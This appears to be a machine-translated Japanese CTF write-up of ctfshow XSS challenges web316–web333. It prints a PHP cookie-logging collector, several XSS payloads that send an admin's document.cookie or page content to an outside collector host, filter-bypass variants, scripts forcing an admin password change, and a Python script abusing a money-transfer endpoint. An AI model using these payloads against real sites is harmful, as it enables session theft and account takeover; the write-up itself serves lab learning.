ctfshow XSS web316-web333 wp

自分で質問をするプロセスを書き、記録するのは少し時間がかかるかもしれません

web316

バックグラウンドは時々(通常15秒)リンクにアクセスします(結局、共有ステータスを維持するには10個のeggボットが必要です)。ボットがxssにアクセスすると、管理者のCookieを取得できます。

これを取得するには2つの方法があります。1つはhttps://xsshs.cn/、https://xss.pt/、http://xsscom.comなどのオンラインxssプラットフォームで、xssリンクを生成します

もう1つは、独自のWebサイトでビルドし、次のようなphpコードを作成することです。

# xss.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

一般的に、最初の方法で十分ですが、2番目の方法しか使用できない場合もあります。たとえば、ctfshowの最終評価の質問では、2番目のマシンはネットワークから出てプロキシできず、2番目のマシンにはXSSがあるため、この場合、2番目の方法のみを使用してCookieを取得できます。

ここではhttps://xss.pt/xss.phpが使用されています。最初に登録してホームページにログインし、[作成]をクリックします。
ここに画像の説明を挿入

デフォルトモジュールを選択

ここに画像の説明を挿入

さまざまな種類のリンクを取得し、いずれかを使用して「Blessings」を生成し、生成後にタイトルを更新してから、プロジェクトインターフェイスに戻ります。

もちろん、非常に一般的な状況は次のとおりです。あなたは管理者ではありませんフラグなし

ここに画像の説明を挿入

慌てる必要はありません。この状況は正常です(つまり、Xが自分自身に到達しました)。あと数回実行してください。

それはとても悲しいです、私は十数回以上自分自身を接続しています

マッド、私は言葉を失います、私はそれにサーバーを置き、それを置き(上記のphpコード)そしてこのステートメントを書きます

<script>document.location.href="http://ip/xss.php?cookie="+document.cookie</script>

ここに画像の説明を挿入

¿¿¿¿¿¿¿¿¿¿¿¿¿

なぜ一度成功したのかわかりません。

web317

前の質問のペイロードはフィルタリングされているため通過できませんが、何をフィルタリングするかわかりません。スクリプトを本文に置き換えることができます。つまり、スクリプトがフィルタリングされます。

<body οnlοad="window.location.href='http://ip/xss.php?cookie='+document.cookie"></body>

web318

前の質問のペイロードは成功しました

web319

前の質問のペイロードは成功しました

web320

前の質問のペイロードが失敗しました。何がフィルタリングされたかわかりません。ここでテストしてください。

最初のテストは、hrefの前面を削除することです

ここに画像の説明を挿入

これは、フィルターポイントが前面にあり、本体に問題がないことを意味します

2回目にウィンドウの前面を削除すると、エコーもあり、フィルターポイントが前面にあることを示します。

オンロードに問題はなく、ボディにも問題はありません。これは、問題がこのスペースにあることを示しています。

バイパス方法:

タブ

/

/ ** /

<body/**/οnlοad="window.location.href='http://ip/xss.php?cookie='+document.cookie"></body>

web321

前の質問のペイロードは成功しました

web322

マッドはとても嫌です。ここでは、サーバー上のxss.phpを別の名前に変更する必要があります。つまり、xssの3文字は表示されません。

<body/**/οnlοad="window.location.href='http://ip/a.php?cookie='+document.cookie"></body>

web323

前の質問のペイロードは成功しました

web324

前の質問のペイロードは成功しました

web325

前の質問のペイロードは成功しました

web326

前の質問のペイロードは成功しました

web327

件名を変更し、XSSを保存しました

ここに画像の説明を挿入

受信者は管理者である必要があります

次に、322payloadで手紙の内容を試してください

ここに画像の説明を挿入

成功

web328

ログイン、アカウント管理者、パスワードの上にペイロードを試してください

失敗しました。ペイロードでアカウントとパスワードの両方を試してください

まだ失敗しました

ねえ、それに登録ボタンがあります、それを試してみてください。

管理者を登録できません。別の名前を変更してください。ユーザー管理にログインします。管理者のみが表示できます

管理者だけがユーザー管理を見ることができるので、ペイロードをユーザー管理に注入でき、管理者がそれにアクセスできるかどうかを言うという考えがここにあります。

アカウントを登録します。パスワードは上記のペイロードです。

練習の結果は

ここで<script>を使用して試してください。最後にセミコロンを追加する必要があることに注意してください。

<script>window.location.href='http://ip/a.php?cookie='+document.cookie;</script>

ここに画像の説明を挿入

ここで管理者のCookieを取得し、Cookieを使用して直接ログインして試してみます

ここに画像の説明を挿入

ただし、ここには管理インターフェースが表示されておらず、これは一時的なものであるため、ストレージを直接変更してください

ここに画像の説明を挿入

次に、インターフェイスを更新してフラグを確認しますが、フラグが点滅し、ここにはパケットキャプチャしかありません。

ここに画像の説明を挿入

web329

方法は上記と同じで、Cookieを取得できますが、それでもページにアクセスできません

その理由は、管理者がページにアクセスした後にログアウトするためです。これは、管理者が前回取得した最新のCookieに相当します。

ここでは方法はありません。ここで、wpがjsを使用していることを確認しました

このようにして、ビデオhttps://www.bilibili.com/video/BV1gi4y1A76pを見る

<script>$('.laytable-cell-1-0-1').each(function(index,value){
    if(value.innerHTML.indexOf('ctf'+'show')>-1){
        window.location.href='http://ip/a.php?cookie='+value.innerHTML; 
    }
});</script>

その理由は、ctfshowを直接記述する場合、ctfshowを含む最初のクエリは自分自身になるためです。

ここに画像の説明を挿入

{、ctf +show{を追加します

データが汚染されるたびに新しい範囲を開くことを忘れないでください

ここに画像の説明を挿入

web330

パスワードを変更するオプションがあるため、管理者にパスワードを直接変更させないでください

<script>window.location.href='http://127.0.0.1/api/change.php?p=admin';</script>

ペイロードアカウントを登録するだけです

ここに画像の説明を挿入

web331

考え方は前と同じですが、メソッドがgetからpostに変更されています

ここに画像の説明を挿入

<script>$.ajax({url:'api/change.php',type:'post',data:{p:'2333'}});</script>

web332

旗を買うために9999元、新しい登録されたアカウントは5元を持っています。

それから私は負のお金を自分で追加できることを発見しました、そうでなければそれは減らされるでしょう、ハハハハ

-9999を管理者に転送するだけです

web333

最後の質問のスクリプトを書きたかったのですが、簡単な方法を見つけたので書きませんでした。

ここにスクリプトを書いて登録して、お金を狂わせてください

20分以上書き込んだ後、デバッグを行っていて、ログインできないことがわかりました。なぜウーウーなのかわからない

マスター・ユーの台本を読んだ後、自分に送金することでお金を追加することができます。私はバカすぎます。

import requests
x=5
url="http://e8e0aa13-bff2-4b78-a8cb-f7c0f0e73ae2.challenge.ctf.show/api/amount.php"
url2="http://e8e0aa13-bff2-4b78-a8cb-f7c0f0e73ae2.challenge.ctf.show/api/getFlag.php"
headers={
    
    'Cookie':'PHPSESSID=jkvcavn3fpfel2opl4afqdcepp'}  #自己登录后的sessionid
while True:
	print(x)
	t=x-1
	data={
    
    
	'u':'mumuzi', #注册的用户名
	'a':str(t)
	}
	r=requests.post(url,headers=headers,data=data)
	print(r.text)
	if(x>10000):
		r2=requests.get(url2,headers=headers)
		print(r2.text)
		break
	x+=t

この時点で、XSS部分は終了です。

おすすめ

転載: blog.csdn.net/qq_42880719/article/details/122543274